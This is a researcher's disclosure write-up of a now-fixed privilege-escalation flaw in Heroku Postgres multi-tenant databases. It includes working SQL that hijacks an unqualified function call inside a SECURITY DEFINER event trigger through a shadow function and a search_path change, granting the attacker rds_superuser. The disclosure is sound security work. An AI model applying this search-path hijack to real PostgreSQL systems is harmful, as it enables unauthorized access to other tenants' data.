Breaking Multi-Tenant Isolation in Heroku Postgres

On October 29th, 2025, I discovered a security flaw affecting a subset of Heroku Postgres Essential tier databases operating in multi-tenant clusters. My research indicates that it would’ve allowed unauthorized access (read / write) to other database instances on any cluster I had access to.

Upon responsible disclosure, Heroku acted immediately to investigate the report, and resolved this issue by deploying a fix to prevent user-controlled scripts from executing.

In this post, I’ll explain the issue and how I found it.

Architecture

Heroku utilizes a multi-tenant architecture where multiple customer database instances are hosted on a single cluster. This solution is cost-effective but also requires that privileges be extremely locked down, as a single privilege escalation could lead to unauthorized access to other database instances on the same server.

Heroku’s multi-tenant infrastructure is built on top of the managed PostgreSQL service provided by AWS for reliability / scalability. In fact, if you look at the roles on the server, you’ll find rds_superuser. This is the managed ‘superuser’ role given to customers by AWS.

This means Heroku’s managed infrastructure (maintained by rds_superuser / heroku_admin) was also running under AWS’s managed infrastructure (maintained by a true superuser role).

Their managed infrastructure can then be summarized into the following diagram:

Vulnerability

As part of compliant testing, I created a database instance under an Essential plan (which are all multi-tenant) and connected to it.

While looking around the customer database I had access to, I found an interesting schema called _heroku. It contained many different security definer functions, mainly related to extension installation (which makes sense given that extensions usually require high privileges to install).

I’m always particularly interested in security definer functions since they can oftentimes be exploited for privilege escalation.

I observed that several SECURITY DEFINER functions did not define a search path and had multiple non-schema qualified function calls. They also ran under the same privileges as heroku_admin, the internal ‘superuser’ role that managed all the customer instances.

This meant I could create a malicious public function that mimicked a function called in the SECURITY DEFINER context. I could then change my search_path to prioritize the public schema over pg_catalog, PostgreSQL’s core system table. Since the SECURITY DEFINER functions run under the privileges of heroku_admin, controlling a function that is called under that context means I can run anything I want under that elevated privilege.

1
CREATE OR REPLACE FUNCTION _heroku.validate_extension()
2
 RETURNS event_trigger
3
 LANGUAGE plpgsql
4
 SECURITY DEFINER
5
AS $function$
6
DECLARE
7
  schemaname TEXT;
8
  r RECORD;
9
BEGIN
10
  IF tg_tag = 'CREATE EXTENSION' and current_user != 'rds_superuser' THEN
11

12
    FOR r IN SELECT * FROM pg_event_trigger_ddl_commands()
13
    LOOP
14
      CONTINUE WHEN r.command_tag != 'CREATE EXTENSION' OR r.object_type != 'extension';
15

16
      schemaname = (
17
        SELECT n.nspname
18
        FROM pg_catalog.pg_extension AS e
19
        INNER JOIN pg_catalog.pg_namespace AS n
20
        ON e.extnamespace = n.oid
21
        WHERE e.oid = r.objid
22
      );
23

24
      IF schemaname = '_heroku' THEN
25
        RAISE EXCEPTION 'Creating extensions in the _heroku schema is not allowed';
26
      END IF;
27
    END LOOP;
28
  END IF;
29
END;
30
$function$

I looked at the simplest function I could find and found a function call I could take over.

I then made a function wrapper with the same name, return type, and output as pg_event_trigger_ddl_commands, but with an additional command in the middle to grant myself rds_superuser.

1
CREATE OR REPLACE FUNCTION public.pg_event_trigger_ddl_commands()
2
RETURNS TABLE (
3
    classid         oid,
4
    objid           oid,
5
    objsubid        integer,
6
    command_tag     text,
7
    object_type     text,
8
    schema_name     text,
9
    object_identity text,
10
    in_extension    boolean,
11
    command         pg_catalog.pg_ddl_command
12
)
13
LANGUAGE sql
14
AS $function$
15
GRANT rds_superuser TO <my_username>;
16
SELECT * FROM pg_catalog.pg_event_trigger_ddl_commands();
17
$function$;

In order to make sure the security definer function called my function and not the one in pg_catalog, I changed my search_path to prioritize the public schema over the pg_catalog schema.

1
SET search_path TO public, pg_catalog;

All I needed to do now was trigger the security definer function. I likely could’ve called it directly, but I figured from the function name it probably ran anytime an extension was installed, so to trigger it, I just installed a random extension.

1
CREATE EXTENSION hstore;

To make sure this worked, I took a look at the role memberships assigned to me in PostgreSQL.

It triggered successfully! I now had all the privileges of rds_superuser, meaning I had the same internal control as Heroku’s management infrastructure.

I quickly removed the privileges from my own account, and reported the issue to Heroku Security. Heroku remediated the issue promptly on November 4th, 2025.

Conclusion

This shows how important securing privileges is inside PostgreSQL, and how easily security definer functions could be mishandled.

Heroku permits penetration testing in accordance with their security policy, and I was able to coordinate this disclosure with their security team, who remediated the issue.

I will release a full guide to detect function hijacking vulnerabilities such as this soon, so be on the lookout for that. Thanks for reading!